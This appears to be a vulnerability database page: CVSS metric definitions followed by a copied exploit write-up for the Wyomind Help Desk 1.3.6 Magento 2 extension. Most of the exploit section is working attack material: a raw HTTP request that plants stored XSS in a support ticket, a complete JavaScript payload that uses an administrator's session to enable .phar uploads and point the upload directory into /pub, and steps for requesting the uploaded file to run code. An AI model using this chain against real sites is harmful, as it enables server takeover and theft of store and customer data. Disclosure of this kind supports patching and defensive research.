The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Wyomind Help Desk 1.3.6 XSS / Traversal / Shell Upload
# Exploit Title: Wyomind Help Desk 1.3.6 - Remote Code Execution (RCE)
# Date: 2021-07-07
# Exploit Author: Patrik Lantz
# Vendor Homepage: https://www.wyomind.com/magento2/helpdesk-magento-2.html
# Version: <= 1.3.6
# Tested on: Ubuntu 18.04-20.04, Apache, PHP 7.2, Magento 2
The Mangento 2 Help Desk extension from Wyomind up to and including version 1.3.6 is vunerable to stored XSS, directory traversal and unrestricted upload of a dangerous file type. These vulnerabilites combined could lead to code execution.
A XSS payload can be sent via the ticket message from the front-end in the 'Support - My tickets' section.
The payload is triggered when an administrator views the ticket in the Magento 2 backend. The following request enable
the delivery of the XSS payload:
POST /helpdesk/customer/ticket_save/ HTTP/1.1
Host: <redacted>
Content-Type: multipart/form-data; boundary=---------------------------243970849510445067673127196635
Content-Length: 683
Origin: https://<redacted>
Connection: close
Referer: https://<redacted>/helpdesk/customer/ticket_view/
Cookie: <redacted>
Upgrade-Insecure-Requests: 1
-----------------------------243970849510445067673127196635
Content-Disposition: form-data; name="form_key"
<redacted>
-----------------------------243970849510445067673127196635
Content-Disposition: form-data; name="object"
Hello
-----------------------------243970849510445067673127196635
Content-Disposition: form-data; name="message_cc"
-----------------------------243970849510445067673127196635
Content-Disposition: form-data; name="content"
<p><script>alert(1)</script></p>
-----------------------------243970849510445067673127196635
Content-Disposition: form-data; name="hideit"
-----------------------------243970849510445067673127196635--
The following XSS payload shown below can be used to trigger
1) Enabling file attachments in ticket messages
2) Adding 'phar' to allowed file extensions
3) Setting the attachment directory to 'helpdesk/files/../../../pub'
<script>
function successListener(e) {
var doc = e.target.response
var action=doc.getElementById('config-edit-form').action;
function submitRequest()
{
var formKey = FORM_KEY;
var xhr = new XMLHttpRequest();
xhr.open("POST", action, true);
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------14303502862141221692667966053");
xhr.withCredentials = true;
var body = "-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"form_key\"\r\n" +
"\r\n" +
formKey + "\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_license]\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_general]\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[general][fields][enabled][value]\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[general][fields][log][value]\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[general][fields][default_email][value]\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[general][fields][default_status][value]\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[general][fields][pending_status][value]\"\r\n" +
"\r\n" +
"2\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[general][fields][closed_status][value]\"\r\n" +
"\r\n" +
"3\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[general][fields][ticket_prefix][value]\"\r\n" +
"\r\n" +
"10000\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_frontend]\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[frontend][fields][menu_label][value]\"\r\n" +
"\r\n" +
"Support - My Tickets\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[frontend][fields][top_link_enabled][value]\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[frontend][fields][attachments][value]\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_frontend_attachments_settings]\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[frontend][groups][attachments_settings][fields][attachments_extension][value]\"\r\n" +
"\r\n" +
"jpeg,gif,png,pdf,phar\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[frontend][groups][attachments_settings][fields][attachments_directory_path][value]\"\r\n" +
"\r\n" +
"helpdesk/files/../../../pub\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[frontend][groups][attachments_settings][fields][attachments_upload_max_filesize][value]\"\r\n" +
"\r\n" +
"2M\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[frontend][groups][attachments_settings][fields][attachments_post_max_size][value]\"\r\n" +
"\r\n" +
"4M\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_emails]\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_emails_customer_settings]\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[emails][groups][customer_settings][fields][confirmation_enabled][value]\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[emails][groups][customer_settings][fields][confirmation_content][value]\"\r\n" +
"\r\n" +
"Dear {{customer_firstname}},\x3cbr/\x3e\x3cbr/\x3e\r\n" +
"Your message has been sent to the support team.\r\n" +
"Here is the message content:\x3cbr/\x3e\r\n" +
"\"{{message}}\" \x3cbr/\x3e\x3cbr/\x3e\r\n" +
"Kind Regards,\r\n" +
"The Support Team.\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[emails][groups][customer_settings][fields][notification_enabled][value]\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[emails][groups][customer_settings][fields][notification_content][value]\"\r\n" +
"\r\n" +
"Hello {{customer_firstname}},\x3cbr/\x3e\x3cbr/\x3e\r\n" +
"Your ticket \"{{ticket_object}}\" (#{{prefixed_id}}) has been updated.\r\n" +
"Please login to your account via this link in order to see the new message: {{customer_account_link}}\x3cbr/\x3e\x3cbr/\x3e\r\n" +
"Regards,\r\n" +
"The Support Team.\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_emails_support_team_settings]\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[emails][groups][support_team_settings][fields][notification_enabled][value]\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[emails][groups][support_team_settings][fields][notification_content][value]\"\r\n" +
"\r\n" +
"You received a new message from a customer.\r\n" +
"-----------------------------14303502862141221692667966053--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest();
}
var request = new XMLHttpRequest();
request.onload = successListener;
request.responseType = 'document';
request.open('GET', document.querySelector('[data-ui-id="menu-wyomind-helpdesk-configuration"]').querySelector('a').href, true);
request.send();
</script>
After the XSS payload is executed, it is possible to upload a phar file by attaching files to ticket messages. Upon successful upload, the uploaded files can be requested to trigger the execution of it by requesting
https://[HOSTNAME]/<ticketId>/<messageId>/filename.phar
ticketId and messageId can be identified after sending the ticket message with the attached phar file. The ticketId is visible in the
URL, for example:
https://[HOSTNAME]/helpdesk/customer/ticket_view/ticket_id/7/
and the messageId can be identified by hovering over the uploaded file link which will be similar to
https://[HOSTNAME]/helpdesk/customer/message_downloadAttachment/message/40/file/filename.phar
in this case, the messageId is 40.
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